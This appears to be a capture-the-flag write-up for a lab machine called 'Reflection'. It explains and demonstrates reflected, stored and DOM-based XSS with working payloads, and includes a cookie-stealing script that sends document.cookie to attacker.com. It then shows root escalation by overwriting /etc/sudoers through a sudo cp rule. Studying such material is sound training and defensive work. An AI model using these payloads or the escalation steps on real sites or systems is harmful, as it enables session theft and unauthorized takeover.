Skip to main content

Reflection

Initial Port Scan

export TARGET_IP={target_ip_address}
sudo nmap -Pn -sS -p- $TARGET_IP
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Reflected XSS vs. Stored XSS

FeatureReflected XSSStored XSS (Persistent XSS)
DeliveryMalicious script is embedded in a URL, often sent directly to the victim via email, social media, or other means.Malicious script is injected into a website's data store (e.g., database) via a form or other input field.
TargetThe victim must click the specifically crafted malicious URL for the script to execute in their browser.Any user who visits the affected page will execute the malicious script, as it's served directly from the website's data.
PersistenceNot persistent. The script is only executed when the victim clicks the malicious link. The website itself does not store the malicious code.Persistent. The malicious script is stored on the vulnerable website and is executed whenever a user accesses the compromised page or data.
URL RoleThe URL is the primary vector for delivering the malicious script to the victim's browser.URLs are not directly involved in the initial delivery of the malicious script. The script is stored on the website itself.
ScopeTypically affects only the individual who clicks the malicious link.Can affect many users or all users who visit the page where the malicious script is stored.

Real-Life Scenarios

  • Reflected XSS:

    • Scenario: An attacker crafts a URL that looks like it's from a legitimate online store, but it contains a hidden script that steals login cookies. They send this link in a phishing email disguised as a "special offer." When a victim clicks the link, the script runs in their browser, sending their cookies to the attacker. The attacker can then use these cookies to impersonate the victim on the online store.
    • Example: A shortened URL shared on social media that appears to go to a news article but actually contains a script that redirects the user to a fake login page.
  • Stored XSS:

    • Scenario: A forum website allows users to post comments. An attacker submits a comment that contains a hidden script that displays an alert() box with their username. This comment (including the script) is stored in the forum's database. Now, every time any user views that forum thread, their browser will execute the attacker's script, showing the alert box.
    • Example: A social media profile that allows users to enter a "bio" section. An attacker puts a script in their bio that redirects visitors to a malicious website. Anyone who views the attacker's profile will be redirected. The attacker does not need to do anything else, like sending links.

Lab 1: Reflected XSS

The lab presents a form where we can enter a search query. The goal is to inject an XSS payload that will be reflected back to us on the same page.

I tried <script>alert('XSS')</script> but does not work. Some security mechanism from the browser must be blocking this(?).

But this works:

<h1 onmouseover="alert('XSS')">Test</h1>
<img src="x" onerror="alert('XSS')">
<h1 onmouseover="console.log('XSS')">Test</h1>
<img src="x" onerror="console.log('XSS')">
<svg onload=console.log('XSS')>
// Experiment with different event handlers like onmouseover, onclick, onerror, onload, etc.

After submitting these payloads, if an alert box or console log with the text 'XSS' pops up, it confirms the presence of a reflected XSS vulnerability.

Useful Applications

  • Stealing cookies: <script>document.location='http://attacker.com/cookie.php?c='+document.cookie</script> (This sends the victim's cookies to the attacker's server.)
  • Redirecting to a malicious site: <script>window.location.replace('http://malicious-site.com')</script>
  • Keylogging: Injecting a script that captures keystrokes and sends them to the attacker.

Remediation

To prevent reflected XSS vulnerabilities, it is crucial to properly sanitize user input before reflecting it back to the browser. Common methods include:

  • Output Encoding: Encode special characters that have meaning in HTML (e.g., <, >, &, ", ') into their respective HTML entities (e.g., &lt;, &gt;, &amp;, &quot;, &#39;).
  • Input Validation: Implement strict input validation to ensure that only expected data is accepted. For example, if the input should only contain alphanumeric characters, reject any input that contains other characters.
  • Using a Content Security Policy (CSP): CSP can restrict the sources from which scripts can be executed, limiting the impact of an XSS attack.

Lab 2: Stored XSS

Lab 2 is kinda the same, the important part here is understanding the difference between both in theory.

Lab 3: XSS with dropdowns

This third lab pretends you to use Burp Suite or other tool. Most of us would just modify the URL. But let's use Burp Suite.

Open Burp Suite -> Proxy Tab -> Open Browser -> Go to http://172.17.0.2/laboratorio3/ -> In Proxy Tab turn Intercept ON -> Complete the web form -> Forward Request -> Go to HTTP History -> Send the request to the Repeater -> Modify the request like this:

GET /laboratorio3/?opcion1=<h1+onmouseover%3d"alert('XSS')">Test</h1>&opcion2=ValorY&opcion3=Opcion3 HTTP/1.1
Host: 172.17.0.2
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.17.0.2/laboratorio3/?opcion1=ValorA&opcion2=ValorY&opcion3=Opcion3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Note I encoded the <h1 onmouseover="alert('XSS')">Test</h1> to <h1+onmouseover%3d"alert('XSS')">Test</h1> by selecting that text -> right click -> Convert selection -> URL -> URL-encode key characters (Ctrl+U). In Response tab, at the right, click render and you will see the page with the h1 HTML tag rendered confirming the vulnerability. Anyways if you put your mouse over it wont work. You must try in the browser to activate the dynamic script.

Lab 4: XSS Based on GET Parameters

Here just modify the URL, like:

http://172.17.0.2/laboratorio4/?data=%3Cimg%20src=%27x%27%20onerror=%27alert(%22XSS%22)%27%3E

It is encoded but you can send it without the encoding and the browser will do it for you ?data=<img src='x' onerror='alert("XSS")'>, by doing it from the browser.

DOM-Based XSS

The primary distinction of DOM-Based XSS is that the vulnerability exists entirely within the client-side JavaScript code and does not necessarily involve the server's response. Here's a breakdown:

FeatureReflected XSSStored XSSDOM-Based XSS
Vulnerability LocationServer-side code that reflects user input in the response.Server-side code that stores user input in a database/file without proper sanitization and displays it later in the page.Client-side JavaScript code that directly uses user-controlled data (typically via document.location) to modify the DOM.
Data FlowUser input -> Web Server -> HTTP Response (with the unescaped user input) -> BrowserUser input -> Web Server (stores in database) -> Web Server -> HTTP Response -> BrowserUser input (typically in document.location or similar) -> Client-side JavaScript -> DOM
Server InvolvementServer is involved in reflecting user input in the response.Server is involved by storing and retrieving unescaped user input.The server is often not directly involved in the vulnerability. The server serves the initial HTML and JavaScript, but the vulnerability is exploited entirely client side.
PersistenceNot persistent. The vulnerability only exists in the context of the specific malicious URL.Persistent. The vulnerability affects all users who view the page with the stored malicious content.Usually not persistent. It requires the victim to load a specific crafted URL or perform a specific action. It exists only within the execution of the page in the browser, not in the database.
URL RoleURLs are the primary vector for delivering the malicious payload.URLs are not involved in delivering the payload, the malicious script is stored on the website.The URL (or other client-side data source) can sometimes be used to deliver the attack, but only to the client, not the server.

Real-Life Scenarios

  • Reflected XSS: (as explained before)
    • Scenario: Malicious URL is sent via email or social media. When victim clicks, a server reflects the script.
  • Stored XSS: (as explained before)
    • Scenario: Attacker inserts script into a forum that then is seen by all users.
  • DOM-Based XSS:
    • Scenario: A website's JavaScript code uses the document.location.hash (the part of the URL after the # symbol, also known as a fragment identifier) to set the innerHTML of an element. An attacker crafts a URL with malicious JavaScript within the hash, such as http://example.com/page#<img src="x" onerror="alert(1)">. The server never sees this. The JavaScript in the page reads this hash, and sets the inner HTML, leading to the code execution in the browser DOM.
    • Scenario: A single-page application that parses parameters from the URL using window.location.search and uses those values to dynamically update the page. An attacker creates a crafted URL with malicious code and sends the link to a victim. The application itself takes that URL and the malicious code stored inside the URL is executed.

Key Differences Explained Further

  • Server vs. Client:

    • Reflected and Stored XSS fundamentally rely on a vulnerability in server-side logic that improperly handles user input. The server is the source of the problem, passing malicious data into the browser.
    • DOM-Based XSS exploits flaws in client-side JavaScript, where user-controlled data is processed within the browser without proper sanitization. The server is not directly the source of the issue, as it's the browser executing the javascript that causes the vulnerability.
  • URL as a Vehicle:

    • Reflected XSS: The URL is the primary attack vector. The malicious script is in the URL.
    • DOM-Based XSS: The URL may be the attack vehicle, but the actual execution happens inside of the client-side code, parsing the URL value through javascript.
    • Stored XSS: URL is not the attack vector, the attacker injects the payload through forms.

Examples

  • DOM-Based XSS vulnerable code:

    // Example 1: using location.hash

    var userInput = document.location.hash.substring(1); // Gets the value after the '#'
    document.getElementById("outputDiv").innerHTML = userInput; // Insecurely updates the DOM
       <!-- Example 2: using url parameters -->
    <script>
    const urlParams = new URLSearchParams(window.location.search);
    const myParam = urlParams.get('myParam');
    document.getElementById('myDiv').innerHTML = myParam;
    </script>

    An attacker could exploit this by crafting a URL like http://example.com/page#<img src="x" onerror="console.log('DOMXSS')"> (or http://example.com/page?myParam=<img src="x" onerror="console.log('DOMXSS')">)

    • The server serves a page with this Javascript in it. The server is not the problem here.
    • The JavaScript code reads the part after the # sign (or the parameter) and then injects the content directly to the page.
    • The vulnerability is entirely on the client-side code parsing that part of the URL
  • Reflected XSS vulnerable code:

    <?php
    $userInput = $_GET["input"];
    echo "<div id='outputDiv'>" . $userInput . "</div>"
    ?>
    • The server parses the GET parameter and returns it as HTML.
    • The server is vulnerable and sends the unescaped HTML back to the browser.

SSH Access and Privilege Escalation

The initial nmap scan revealed that port 22 (SSH) was open. I successfully logged in as the balu user using the credentials obtained earlier:

ssh balu@$TARGET_IP  # password: balulero

Once inside, I discovered a file named /secret.bak containing another set of credentials:

cat /secret.bak
# Output: balulito:balulerochingon

I then switched to the balulito user:

su balulito  # password: balulerochingon

Identifying Privilege Escalation Opportunity

Using sudo -l, I examined the sudo privileges granted to the balulito user:

sudo -l

Output:

Matching Defaults entries for balulito on ad7d60fe5b46:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User balulito may run the following commands on ad7d60fe5b46:
(ALL) NOPASSWD: /bin/cp

This output reveals that the balulito user can execute the /bin/cp command as root (ALL) without requiring a password (NOPASSWD).

Exploiting /bin/cp for Privilege Escalation

The cp command, when run with elevated privileges, can be leveraged to read and write files owned by any user, including root. We can exploit this to gain root access.

GTFOBins Explanation:

GTFOBins (https://gtfobins.github.io/gtfobins/cp/) is a valuable resource that provides a curated list of Unix binaries that can be used to bypass local security restrictions. For cp, GTFOBins outlines several methods for privilege escalation, including:

  1. File Read: Reading arbitrary files.
  2. File Write: Writing data to arbitrary files.
  3. SUID Abuse: If cp had the SUID bit set (which is not the case here), it could be abused directly.
  4. Sudo Abuse: Exploiting sudo rules that allow running cp as root.

Chosen Exploitation Method:

Since we can run cp as sudo without a password, the most straightforward method is to overwrite the /etc/sudoers file, granting the balulito user full sudo privileges. This is also one of the examples of Sudo Abuse described in GTFOBins.

Non-Refined Steps

  1. Create a Malicious /etc/sudoers File:

    • I will create a temporary file containing a modified /etc/sudoers entry that grants balulito ALL privileges.
    echo "balulito ALL=(ALL:ALL) ALL" >> /tmp/sudoers_exploit
  2. Overwrite the Original /etc/sudoers:

    • Using sudo cp, I will overwrite the original /etc/sudoers file with the malicious version, taking into account that the file we want to write to is /etc/sudoers.
    sudo cp /tmp/sudoers_exploit /etc/sudoers
  3. Verify and Gain Root:

    • After successfully overwriting the file, the balulito user will have full sudo privileges.
    sudo su
warning

Modifying /etc/sudoers incorrectly can lock you out of the system. It is crucial to ensure the syntax of the modified file is correct.

Refined Steps

  1. Create a Temporary Copy of /etc/sudoers:

    sudo cp /etc/sudoers /tmp/sudoers_temp
  2. Append the New User Privileges to the Temporary File:

    echo "balulito ALL=(ALL:ALL) ALL" >> /tmp/sudoers_temp

    Now, the new privileges are appended to the existing content of /etc/sudoers.

  3. Overwrite the Original /etc/sudoers:

    sudo cp /tmp/sudoers_temp /etc/sudoers
  4. Verify and Gain Root:

    sudo su

Why This Approach Is Better:

  • Preserves Existing Configuration: It avoids accidentally wiping out important existing sudoers rules.
  • Reduced Risk of Syntax Errors: Appending the new line is less prone to accidental typos than recreating the whole file from scratch.
  • Cleaner and More Maintainable: It's easier to understand what modifications are being made.
  • Less Risky in General: Since the original sudoers file is preserved, there's less risk of creating an unrecoverable system.